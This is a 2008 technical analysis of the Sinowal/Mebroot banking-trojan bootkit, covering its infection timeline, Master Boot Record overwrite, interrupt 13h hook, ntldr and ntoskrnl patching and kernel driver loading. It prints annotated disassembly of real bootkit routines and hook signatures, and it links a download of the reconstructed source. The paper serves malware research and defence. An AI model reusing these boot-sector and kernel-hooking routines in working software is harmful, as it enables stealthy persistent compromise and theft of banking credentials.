Analysis of Sinowal
In my fourth paper I want to present my analysis work of the Sinowal Bootkit. I will discuss and explain how Sinowal works, what it does and where it comes from. The analysis work represented here was done weeks ago for Ikarus Security Software. Sinowal (also known as Torpig) is a new phising trojan with occurence over 300.000 times in the world. Enjoy reading!
- Peter Kleissner, Software Engineer (October 2008)
Sinowal is a new rootkit and login- phishing and logging trojan. At runtime it does not log only any password (whether pop3 email, netbanking or amazon customer login) but also provides phishing capabilities in Internet Explorer. It is written by people from the Russian Business Network (RBN), and this is my special interest to publish their source code here. Sinowal can be considered as Bootkit + Trojan/phishing. It comes with a single infector file, but later acting via various parts settled down in the system. It's also notable that there are different versions existing, newer ones will have more "features". I'll explain everything in detail later.
Sinowal is spread around the world via one single infector file. I guess it's shipped in spam mails until this is one main part of the Russian Business Network. The infector file of Sinowal is 407 KB big (417.368 Bytes), but there are also other versions with different file sizes existing. It is very interesting that when executing the infector file its really infector code is executed at time 18 minutes and 45 seconds and not at the very beginning. 40 minutes after starting the infector file, it will terminate itself and execute itself in another process further. Then, 2 minutes later at 42:05, it will infect the machine and starts a restart of the machine within a second.
The time table what Sinowal Infector File does at time:
|00:11||Execution of Infector File starts|
|00:19||Process delays execution|
|08:43||Investigation of target (local) machine starts, loading system dlls, functions, registry values|
|18:45||Infecting the machine, writing itself low-level (sector based) to any \??\RealHardDiskN and \??\PhysicalDriveN it finds|
|40:23||Execution continues in another process/file, but in same context|
|42:05||Last infector operations|
|42:06||Executing a Windows System Restart|
The infector creates and uses various files. It is very interesting any Sinowal version I investigated creates the file "C:\NeverFile25615". At instruction 34, the infector file gets the environment variable L"NeverVar25615" from system, most probably to terminate itself if the system is already infected.
During the execution of the infector, the infector itself copies into the user temp directory, executes the created file and deletes the old one. This is standard process control execution obfuscation. The new file will be named somewhat "n.tmp" with n to be a number, I have seen "2B.tmp", "13.tmp", "16.tmp".
The original infector file looks like a normal file, no cryptic imports or headers. It imports just statically following functions from Kernel32.dll:
Sleep VirtualAlloc VirtualFree VirtualProtect LoadLibraryA GetProcAddress CreateFileA WriteFile GetEnvironmentVariableW
The first thing I see is that there is no import for CloseHandle function, which leads me to say that this is filthy written code. Second to say, the infector file gets much more function addresses of different dlls at runtime.
Now the interesting part starts, the infection. As mentioned previously, the infector file infects the computers hard disks low-level sector based. It uses the common used WriteFile interface for writing the sectors onto hard disk. Now everything is going to be VERY complex. The infection at static, the infection at runtime, the copying, the movements. I will start with an overview of the whole process and go into detail later.
Sinowal is a Bootkit, which means it overwrites the Master Boot Record and later then hooks and bypasses every Windows System function. So, the first thing Sinowal for infection does is, to read the Master Boot Record and copying the Partition Table from it. Then it takes its own Master Boot Record, which is included in the infector binary file, and copies the new Partition Table into it. But not only the Partition Table should be preserved, also the Microsofts original Master Boot Record. For this, the infector copies the first sector of the original Master Boot Record into the last sector of the new malicious Boot Record. Then it's ready to write the new malicious Master Boot Record to disk. The functions and parts of the new malicious Master Boot Record will be discussed later.
Money is not the total, so infecting just a Master Boot Record is not enough, it's just the at-runtime infecting/hooking part but not the executive. Sinowal copies also a malicious kernel driver onto the disk, at the end of the disk, offset is ~ -10 MB from end. This is the place where no partition is, the space is and should be reserved, Microsoft Software will never allow it to be used by any partition. This hidden 10 MB contain some Microsoft -only information and system restore information.
That's it! That is the execution of the Sinowals infector file.
Runtime Execution of Sinowal
The runtime execution of Sinowal is in detail not easy to describe. For this, I use "stages" for describing the stage of the executed bootkit code. Summarised, Sinowal exists now of the malicious Master Boot Record and the malicious Kernel Driver at end of the hard disk. I describe Sinowal in following stages (not the completed list):
|Stage 1||Master Boot Record, first sector of disk is executed
located in disk.sector0, memory.7C00h
loaded and executed by BIOS
|Stage 2||further hook module
disk.sector60 [code], disk.sector61 [code/data], memory.9F600h, memory.9F800h (located at end of Real Mode Memory)
executed by ntldr hook, loaded by Stage 1 code
|Kernel Files Stage 3||memory.9f800, disk.sector 61, executed at address 806cde00, directly after ntoskrnl, executed by ntoskrnl hook, loaded and relocated by Stage 2 code|
|Stage 4 Hook Code||81066630 +, system memory allocated dynamically
here debugging and reverse engineering stops; => CALL FOR KERNEL DEBUGGER
|driver code, stage 5||location unpredictable; called by ntoskrnl function return code; unpredictable caller; this is the last code|
|Stage 6, Executable||the driver at end of disk will be executed by stage 5 code; unknown location|
It's really hard to describe the whole process (even in overview), because the thing copies and relocates itself a couple of times. Above table shows just the basic procedure, in fact it's more complicated. The thing is hooks everything at runtime and must ensure it will be loaded during important system changes, during Protected Mode switch or execution control flow pass to kernel. For making this possible it has to hook following system startup files:
- Interrupt 13 "Read Sectors" function must be hooked to detect the loading of ntldr (which is loaded by Microsofts Bootsector)
- ntldr must be hooked to get control again in Protected Mode later
- in protected mode ntoskrnl must be hooked to get control in working Windows Environment
- driver memory must be assigned, driver must be executed
The memory map of the malicious Master Boot Record:
Sector 0: Size: 512 Bytes Contains malicious boot code which does some init stuff and hooks int 13h. Relocates itself to end of Real Mode Memory (~ 1 MB). Contains also code to hook ntldr and to read sector 60 and sector 61 into memory. Loads original Bootloader from sector 62 and executes it. Offset 1B5h: 3 bytes for language message descriptions [unused] Offset 440: Microsofts Disk Signature Offset 1BEh: Partition Table Offset 510: Boot Signature Sector 60: Size: 512 Bytes Contains malicious code which is executed by ntldr hook. The code is now executed in Protected Mode, and does just hooks ntoskrnl and copies sector 61 directly to after ntoskrnl. Sector 61: Size: 512 Bytes Contains malicious Kernel Code which is executed by ntoskrnl hook. Copies itself to dynamic allocated driver memory. Reads and executes the malicious driver from end of disk. After execution, deletes malicious driver from memory, and itself from memory. Gives control finally back to Windows Kernel. Sector 62: Size: 512 Bytes Microsofts original Master Boot Record (the first sector of it), a copy for executing it on startup for perfect stealth. All other sectors remain zero. Total size of Master Boot Record: 63 sectors, 7E00h Bytes
7C00h. This is the initial address of Sinowal, of its Bootloader (the first sector of the Master Boot Record). The BIOS loads the Bootloader after POST (Power On Self Test) and some init stuff into memory and executes it. The first sector is (like every sector) 512 bytes big and contains beside the boot code also the Partition Table. The very first lines of the bootloader are doing what every bootloader does - some init stuff (setting registers, stack pointer etc.).
Because the bootloader loads later the Microsoft original bootloader, there would be a conflict in addresses (Microsofts bootloader also expects to be loaded on address 7C00h). To resolve this conflict, is the bootloader copied into end of memory, and the end of memory is returned via a variable from the BIOS Memory Area:
; copy itself to end of memory 00000011 8EDB mov ds,bx 00000013 BE1304 mov si,0x413 ; address of MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES 00000016 832C02 sub word [si],byte +0x2 ; - 2048 kbytes, 4 sectors 00000019 AD lodsw 0000001A C1E006 shl ax,0x6 0000001D 8EC0 mov es,ax ; es = address of free memory (2048 bytes) 0000001F BE007C mov si,0x7c00 00000022 33FF xor di,di 00000024 B90001 mov cx,0x100 ; copy 512 bytes 00000027 F3A5 rep movsw
The next thing done is to load sector 60 and sector 61 from disk. Then code copied from eEye rootkit hooks Interrupt 13h by overwriting the segment:offset address in IVT (Interrupt Vector Table) for the corresponding vector:
; hook int 13h 00000035 33DB xor bx,bx 00000037 90 nop 00000038 90 nop 00000039 90 nop 0000003A 668B474C mov eax,[bx+0x4c] ; IVT, Vector 13 0000003E C7474C6900 mov word [bx+0x4c],0x69 ; at address 0x69, 105 00000043 6626A37600 mov [es:0x76],eax ; patch old IVT vector directly into jmp of our IVT hook (save old vector) 00000048 8C474E mov [bx+0x4e],es ; set int 13 segment 0000004B 06 push es 0000004C 685000 push word offset Copy 0000004F CB retf ; jump to copy!
After hooking Interrupt 13, the code reads the original Master Boot Record of Microsoft Windows to address 7C00h (remember the code doing this is now at end of Real Mode memory). Code of the bootloader is later executed by the int 13h hook, when Microsoft wants to read sectors:
; now our background "service" starts, we get control only by int 13 ; this (executed) binary is located at memory.9f400h, disk.sector0 Interrupt_Vector_13_hook: 00000069 9C pushfw ; Interrupt Vector 13 hook 0000006A 80FC42 cmp ah,0x42 0000006D 740B jz Handle_Int13 ; lets hook extended read... 0000006F 80FC02 cmp ah,0x2 00000072 7406 jz Handle_Int13 ; ...or read! 00000074 9D popfw 00000075 EA00000000 jmp word 0x0:0x0 ; jump to original IVT Handle_Int13: ; execute int 13h read 0000007A 2E88269300 mov [cs:0x93],ah ; store function number (patch) 0000007F 9D popfw 00000080 9C pushfw ; simulate "int 13h" instruction (store flags) 00000081 2EFF1E7600 call word far [cs:0x76] ; READ sector (forward) but return here 00000086 0F829E00 jc word Exit_Int13_hook_ret ; if error => exit to user ; set environment for int 13h hook handler 0000008A 9C pushfw 0000008B FA cli 0000008C 06 push es 0000008D 6660 pushad ; push register contents, we modify it in our hook handler 0000008F FC cld ; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read) 00000090 B400 mov ah,0x0 ; transfered sectors (read: al, extended read: disk address packet.02h) 00000092 B500 mov ch,0x0 ; restore function number (from the patch applied at @7A) 00000094 80FD42 cmp ch,0x42 ; if extended read special load values 00000097 7504 jnz Int_Params_normalized Extended_Read_set_Disk_Address_Packet: 00000099 AD lodsw ; load values from disk address packet 0000009A AD lodsw ; +02h = [word] number of blocks to transfer 0000009B C41C les bx,[si] ; +04h = transfer buffer Int_Params_normalized: 0000009D 85C0 test ax,ax ; ax = number of sectors transfered 0000009F 7501 jnz Int_Params_SectorCount_set 000000A1 40 inc ax ; sector count = minimum 1 Int_Params_SectorCount_set:
This is the main int 13 hook code, you'll find it in a less documented way in eEye bootkit and in bootkit as well as vbootkit from Nitin and Vipin Kumar. Then the code for checking the read buffer for ntldr and infecting it is executed. The code checks for a special signature; if it appears in the read buffer, some bytes will be modified to a jump into code of sector 60. Additionally, a modification on ntldr in memory is done in order to bypass code integrity verification.
Alltogether the jobs of Sector 0 are simple to list:
- Initialize registers
- Copying itself to end of memory
- Reading further virus data, sector 60 and sector 61
- Hooking Interrupt 13
- Loading original Microsoft MBR from sector 62 to address 7C00h and execute it
- Int Interrupt 13 hook, check if function is Read Sectors or is Extended Read Sectors, execute request
- Check read buffer for ntldr, to inject jump code to sector 60
- Check read buffer for ntldr, to overwrite code integrity verification code with nops
Sector 60 is the next piece of code. It is executed by the ntldr hook in Protected Mode. In memory it is located at address 9F600h and loaded by Sector 0. The first 16 MB are in Windows the same virtual as physical (so the first MB in Protected Mode with Paging is equal to the one in Real Mode). The first thing to do is to simulate the original code that was overwritten with the hook. Then ntldr will be scanned for a signature, to extract the base address of ntoskrnl. Ntoskrnl will be scanned for a code pattern and the address stored for later hooking. Now Sector 61 comes into play, the code of Sector 61 will be corrected with calling address and ntoskrnl module address. Sector 61 will be copied directly after ntoskrnl, and ntoskrnl will be hooked to jump to Sector 61 later.
Sector 61 is the really interesting part. This is now true Kernel Code, executed by the Windows Kernel ntoskrnl.exe. This code resists directly after ntoskrnl and is copied there to by sector 60. One of the first things the code this is to probe the Write-Protect flag in CR0, which can be considered as bug:
; probe flag cr0.Write Protect (clear it, to allow writing into read-only user pages) 00000010 0F20C0 mov eax,cr0 ; store cr0 00000013 50 push eax 00000014 25FFFFFEFF and eax,0xfffeffff 00000019 0F22C0 mov cr0,eax ; probe cr0.WP (bit 16) - cause it's set in Windows 0000001C 2BCA sub ecx,edx ; calculate back original target call near RELATIVE address (00001459) 0000001E 58 pop eax 0000001F 0F22C0 mov cr0,eax ; restore cr0 ..why?
This shows us one time more the code has been COPIED. It doesn't make any sense to probe this flag, only to set or to clear it.
It may be interesting for you to see how this bare assembler written kernel code calls Windows API and uses its interface:
; retrieve function address of ntoskrnl!ExAllocatePool 00000022 FF3424 push dword [esp] ; module address of ntoskrnl (= 0x804d7000) 00000025 6862E00737 push dword 0x3707e062 ; function name as hash (it is "ExAllocatePool") 0000002A E83B000000 call dword Get_Dll_Function_Address 0000002F 59 pop ecx ; correct stack 00000030 59 pop ecx ; ntoskrnl!ExAllocatePool(type 0, 427 bytes); 00000031 68AB010000 push dword Total_End_of_Binary - Stage_4_hook_code 00000036 6A00 push 0 00000038 FFD0 call eax ; return = 81066630
With the code above the function address of ExAllocatePool is returned. ExAllocatePool is used to allocated driver memory. After allocation, the code copies itself to this dynamic allocated memory. The code executed from this memory is treated as stage 4 code in my disposition. And here we stop with normal analysis methods (described later with the blue screen appearing). Even these lines are just 9 code lines, stage 5 starts immediately after them, when returning from kernels original call simulation (we call the function that would be called if we wouldn't have hooked the call).
Between stage 4 and stage 5 code in Sector 61 we have also the Get_Dll_Function_Address function (which is also stolen):
Get_Dll_Function_Address: ; Input: ; Param 1 Function Name hash ; Param 2 Base Address of Module to search for Export ; Output: ; EAX = Function Address (NULL if not found) ; preserves register contents ; copied from Vipin & Nitin Kumar, bootkit (http://www.nvlabs.in/uploads/projects/bootkit/bootkitprivilege.zip) ; in \privilege escalation code\driver\chook.c!CallExportedFunctionbyHash 0000006A 60 pushad 0000006B 8B6C2428 mov ebp,[esp+0x28] ; base address of module (param 2) 0000006F 8B453C mov eax,[ebp+0x3c] ; PE Header 00000072 8B540578 mov edx,[ebp+eax+0x78] ; access to Export Table 00000076 03D5 add edx,ebp ; absolute pointer to Export Table 00000078 8B4A18 mov ecx,[edx+0x18] ; ecx = Number of Name Pointers (count of exports) 0000007B 8B5A20 mov ebx,[edx+0x20] ; ebx = Name Pointer RVA 0000007E 03DD add ebx,ebp ; absolute pointer to Export Name Pointers Find_Dll_Export_loop: 00000080 E332 jecxz Dll_Function_not_found ; if no export left exit 00000082 49 dec ecx ; next one 00000083 8B348B mov esi,[ebx+ecx*4] ; get the function name of the next function 00000086 03F5 add esi,ebp ; absolute address 00000088 33FF xor edi,edi ; edi stores our calculated hash 0000008A FC cld ; check the Dll function name (generate hash) Get_Dll_Name_hash: 0000008B 33C0 xor eax,eax 0000008D AC lodsb ; inside a dll export, like "wctomb" (and others) 0000008E 3AC4 cmp al,ah ; zero terminated string 00000090 7407 jz Get_Dll_Name_hash_generated 00000092 C1CF0D ror edi,0xd ; VERY ODD WAY for finding specific dll entry 00000095 03F8 add edi,eax ; something like a hash 00000097 EBF2 jmp short Get_Dll_Name_hash Get_Dll_Name_hash_generated: 00000099 3B7C2424 cmp edi,[esp+0x24] ; now compare calculated hash and input hash 0000009D 75E1 jnz Find_Dll_Export_loop ; if not found => check next export ; set up addresses 0000009F 8B5A24 mov ebx,[edx+0x24] ; Export Table.Ordinal Table RVA 000000A2 03DD add ebx,ebp ; (absolute pointer) 000000A4 668B0C4B mov cx,[ebx+ecx*2] ; -> Ordinal Number (needed for Address Table) ; *** PROGRAMMING ERROR *** ; ** CX SET BUT ECX LATER USED, USE MOVZ ecx,word [ebx+ecx*2], CONSIDER THE HIGH WORD ** 000000A8 8B5A1C mov ebx,[edx+0x1c] ; Export Table.Export Address Table RVA 000000AB 03DD add ebx,ebp ; (absolute pointer) 000000AD 8B048B mov eax,[ebx+ecx*4] ; -> Function Address 000000B0 03C5 add eax,ebp ; (absolute pointer) 000000B2 EB02 jmp short Dll_Function_Address_set Dll_Function_not_found: 000000B4 33C0 xor eax,eax ; error, return zero Dll_Function_Address_set: 000000B6 8944241C mov [esp+0x1c],eax ; patch the value to be in eax 000000BA 61 popad 000000BB C3 ret
I don't want to spam around with source code, so here's the function list that is later executed:
ntoskrnl.NtOpenFile(&FileHandle, GENERIC_READ | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT) opens handle to \??\PhysicalDrive0 ntoskrnl.ExAllocatePool(type 0, 0x58600); to retrieve buffer for driver file ntoskrnl.NtReadFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, Length, ByteOffset, 0); read driver from end of partition ntoskrnl.NtClose(FileHandle); unlike the infector file we close opened handles ntoskrnl.ExAllocatePool(type 0, SizeOfImage); get memory for the driver file we will execute later ... we copy and relocate the driver file ntoskrnl.ExFreePool(File Buffer); we give free the read buffer used for NtReadFile DriverEntry( we execute "Banken Virus" ... we erase "Banken Virus" in memory ntoskrnl.ExFreePool("Banken Virus" memory); we give free "Banken Virus" memory (where driver resisted) ...we delete stage 4 and stage 5 code... ...and that's it!
Only Windows XP operating systems are affected, because of the file and mechanism dependencies of Sinowal. Sinowal includes statically signatures to find the respective code to hook in system files; they are static and may not be found in different file versions. Sinowal has following file dependencies:
- Master Boot Record to be just one sector big
- memory directly after ntoskrnl in memory to be free
- Partition Table may not be changed
If the Bootloader in the previous Master Boot Record uses more than one sector the system will hang on startup, because original MBR can't load it's code and data and will fail fatal. If ntldr or ntosrknl doesn't fit versions required for the hook process you have luck and your system will not be affected at runtime. For this time, I recommend Windows Vista, it's more secure than previous versions.
Windows Vista is not affected, because
- of its different boot mechanism
- its different boot files, it has bootmgr, winload.exe and winresume.exe (there is no ntldr no more)
- it loads just signed drivers
- Kernel Patch Protection will prevent patching ntoskrnl
- User Account Control will block write access to disk; thus the infector does not work
Further, the infection code checks on startup for following signatures:
Signature: 8B F0 85 F6 74 21/22 80 3D To be in: ntldr Is at offset: +26B9Fh Signature: 83 C4 02 E9 00 00 E9 FD FF To be in: ntldr Is at offset: +1C81h, +1C9Ch Signature: C7 46 34 00 40 ... A1 To be in: ntldr Is at offset: +19A44h, and A1 located at +19A51h Code pattern scanned ntoskrnl for: ++ 6A 4B 6A 19 89/E8 ?? ?? ?? ?? ?? ?? E8/?? ==> @ntoskrnl.1CE87E0h ==> memory.0x80683ec9 ++ E8 ?? ?? ?? ?? 84 C0 ==> @ntoskrnl.1CE87F3h ==> @ntoskrnl.1CE87F8h ==> memory.0x80683ed8 ==> memory.0x80683EDD (??... means any value, /... means second choice for positive match)
Note the offsets in file may differ with Service Packs, the code looks from the beginning to the end of the file for the corresponding signature. The check in ntoskrnl is more a code pattern rather than a signature.
It is difficult to list the banks affected with specific written phishing code included in Sinowal, for me ensured are some UK banks, Volksbank and other german banks. You can see a general list (affected via spam + phishing) in the The Russian Business Network: Rise and Fall of a Criminal ISP document of VeriSign on page 21. Note that ANY other bank is affected via logging feature of Sinowal (which records not only online banking login, but also bank transmissions etc.).
Programming Errors in Sinowal
I encountered various bugs in Sinowal:
- Sector 0, at address F9h: assumption is made that ntldr is not loaded at once; pointer to data for disabling bypassing code verification is not resetted
- Sector 61, at address 85h: total size of image is taken wrong; this could lead to overwrite ntoskrnl and cause a system crash
- Sector 62, at address 1Fh: cr0 is misleadingly restored, this code was copied (should disable Write Protect flag)
- Sector 62, at address 48h: the calculation done for size of stage 4 + 5 code is done very wrong, programmer has luck the calculation copies few more bytes rather then less
- Sector 62, at address A4h: when getting ordinal number in Get_Dll_Function_Address, high word of ecx is not set but used
This shows us Sinowal is just a copy.
Behind the Scenes: Directory listing of the Sinowal analysis
I want also talk about behind the scenes, how to analyse such a malware. Here is the directory listing of the analysis directory (code name "Boot Analysis of 2B.tmp"), total size: 8.641.744.896 Bytes (8 GB):
| anubis.ourinterest.log | Bochs Boot Emulation.rar | Festplatte 2 | +---2B.tmp_ | 2B.tmp_ | log.txt | tmp | +---anubis | anubis.log | +---Bochs Boot Emulation | +---debug | | BIOS | | BIOS graka | | bochsrc.bxrc | | debug.bat | | debugger.out | | logfile.txt | | run.bat | | | +---images | bximage.exe | image-basic-boot.img | image.img | +---Boot Files Stage 2 | 0009f600.asm | 0009f600.fromMBR.bin | 0009f600.memorydump.asm | 0009f600.memorydump.bin | 0009f600.memorydump.bin.txt | info.txt | ntldr | ntoskrnl.exe | +---Boot-stuff new | Bootloader.bin | MBR.bin | MBR.firstsector.bin | ntldr | sector0.asm | +---Boot-stuff old | Bootloader.bin | MBR.bin | +---Kernel Files Stage 3 | 0009f800.asm | 0009f800.fromMBR.bin | 0009f800.memorydump.bin | 0009f800.memorydump.bin.txt | blue screen.png | ndisasm.exe | ntoskrnl.exe | Stage 4.asm | Stage5.asm | +---Stage 6, Executable CutPartition.ex_ CutPartition.rar CutPartition.zip
Behind the Scenes: Blue-Screen during analysis
As mentioned previously and in the Sinowal Source Code in 0009f800.asm on line 94 the simulation crashes before executing the last part of the code. The blue screen appearing is caused by different hardware of my bochs simulation with the infected image file.
; the function should return here ; this shitty little thing should return here but bochs stops here with simulation support ; UNPREDICTABLE STACK RETURN VALUES ; ==> Windows crashes, blue screen (restart) ; =====> CALL FOR KERNEL DEBUGGER 00000060 59 pop ecx ; return address 00000061 5A pop edx ; UNPREDICTABLE VALUE 00000062 60 pushad ; restore registers then at end 00000063 87CD xchg ecx,ebp ; set ebp to module address we'll use later 00000065 E852000000 call dword Stage_5_hook_code ; => Kernel 5
So the pretty neat simulation possibility stopped at line 92, but the very interesting part was left, just about 100 code lines. I had no time for making a likes-bochs Windows infected image but needed the analysis of the lines for the report, so I used a trick. I managed it to simulate a back Kernel call to Stage_5_hook_code, and could continue with my analysis (it was evening btw.). As you see in the source the whole further functions have been exposed, but some few things remain unclear, for example where the back kernel call is coming from and with what a value passed on stack. You have to leave some things open and continue; the spaces will be closed later automatically.
The whole reverse engineering was a lot of work but cool work. When I come to the end everything was clearer and clearer and it was even more interesting for me to explore these things. The most coolest thing was the end lines of the bootkit which started the driver. It's incredible what we can do today with software.
Behind the Scenes: Anubis log
Someone may be interested in where I get all my information. To understand the mechanism of Sinowal (for me) it's far not enough to just disassemble and reverse engineer the binary. Any information gathered is useful and important and makes a clear general view. I'm sorry I can't publish here the full Anubis log, but here is an extract of them:
00:18:45.673248 C V "2B.tmp" 1 1 WriteFile(hFile: 52, lpBuffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", nNumberOfBytesToWrite: 361984, lpNumberOfBytesWritten: NULL, lpOverlapped: NULL) 00:18:45.690771 C V "2B.tmp" 1 1 NtWriteFile(FileHandle: **<28976;NtCreateFile;FileHandle>: 4** 52, Event: 0, ApcRoutine: 0, ApcContext: 0, IoStatusBlock: NULL, Buffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", Length: 361984, ByteOffset: NULL, Key: NULL) 00:18:45.709842 R V "2B.tmp" 1 1 NtWriteFile(FileHandle: 52, Event: 0, ApcRoutine: 0, ApcContext: 0, IoStatusBlock: **58756587605876458768** 0x9c4ec90, Buffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", Length: 361984, ByteOffset: NULL, Key: NULL): **58772** 0 00:18:45.710250 R V "2B.tmp" 1 1 WriteFile(hFile: 52, lpBuffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", nNumberOfBytesToWrite: 361984, lpNumberOfBytesWritten: 0x9d48a50, lpOverlapped: NULL): 1
Okay, this looks terrible but copy the lines into notepad and then you see what I see! These lines are the most interesting part of the log, at time 18:45 the infector file stores via WriteFile to handle 52 (previously opened PhysicalDrive) some content. And the content starts with "MZ", which is the initial signature for Portable Executable files. This is the driver written to the end of the hard disk, and we see here a sector based write operation.
Behind the Scenes: Simulation Environment
To reverse engineer and to understand everything of Sinowal, I created a simulation environment consisting of the bochs simulator and an infected image file. The image file is 4 GB big and contains a Windows XP SP2 installation. I took all other simulation files from my previous project ToasterOS (from which I published one-click simulation packages).
When I started the simulation, I just took the whole ToasterOS debug simulation directory and just copied the first 63 sectors from the infected hard disk onto the beginning of the binary 10 MB big image. This worked fine, I could reverse engineer the first sector until Microsoft startup files were necessary.
Behind the Scenes: Reverse Engineering
People may also be interested in how I came to the code of Sinowal. One main tool I used is Netwide Disassembler. With that tool I got the raw code of the various sectors and parts. The other tool I used was the Simulation Environment described above. Only both together made the reverse engineering and this analysis possible. It is also important to know that nothing fell from the sky; I had to interpret every assembler line, I had to comment and label every piece of code.
It's time to come to a conclusion. Everything seems now a bit disappointing to me; the second main part of Sinowal (runtime hook code) is just stolen code from other projects. Sinowal works only on Windows XP machines, not on Windows Vista (see chapter "Affected Systems"). Sinowal is much more sophisticated than previous viruses, you can call it "high-tech". And as it's high-tech, it's also successful. Until it is making millions there will be the necessary request and effort for its further development. Sinowal is the current leading virus of the viruses. But nevertheless there are some program errors in Sinowal and there are many things making Sinowal not working/crashing your system. I'm sure we will see future versions working on Vista. Now I will continue with analysis of the driver which has not been discussed here.
Read the sequel of this article under Advanced Analysis of Sinowal.
Download the Sinowal Source Code at http://web17.webbpro.de/downloads/Sinowal Article/Sinowal Source Code.zip.
- RSA Security Analysis of Sinowal
- Symantec Analysis of Trojan.Mebroot
- Virus Bulletin 2008 Mebroot Report, Symantec and F-Secure
- Your Computer is Now Stoned (...Again!), Symantec and F-Secure
- Sunbelt CWSandbox Analysis Report
- Security Watch Mebroot Article
- Stealth MBR rootkit
- Russian Business Network study
- heise.de news about Sinowal [german]
- and others
- Don't be a victim of Sinowal, the super-Trojan (Woody Leonhard for Windows Secrets)
- Antivirus tools try to remove Sinowal/Mebroot (Woody Leonhard for Windows Secrets)
- 10 answers to your questions about botnets (Michael Kassner)
- MBR/Mebroot/Sinowal/Torpig is back - better than ever (TrustDefender Labs)
- Sinowal trojan: Three years old and just plain nasty (Michael Kassner)
Special thanks to Volksbank Austria.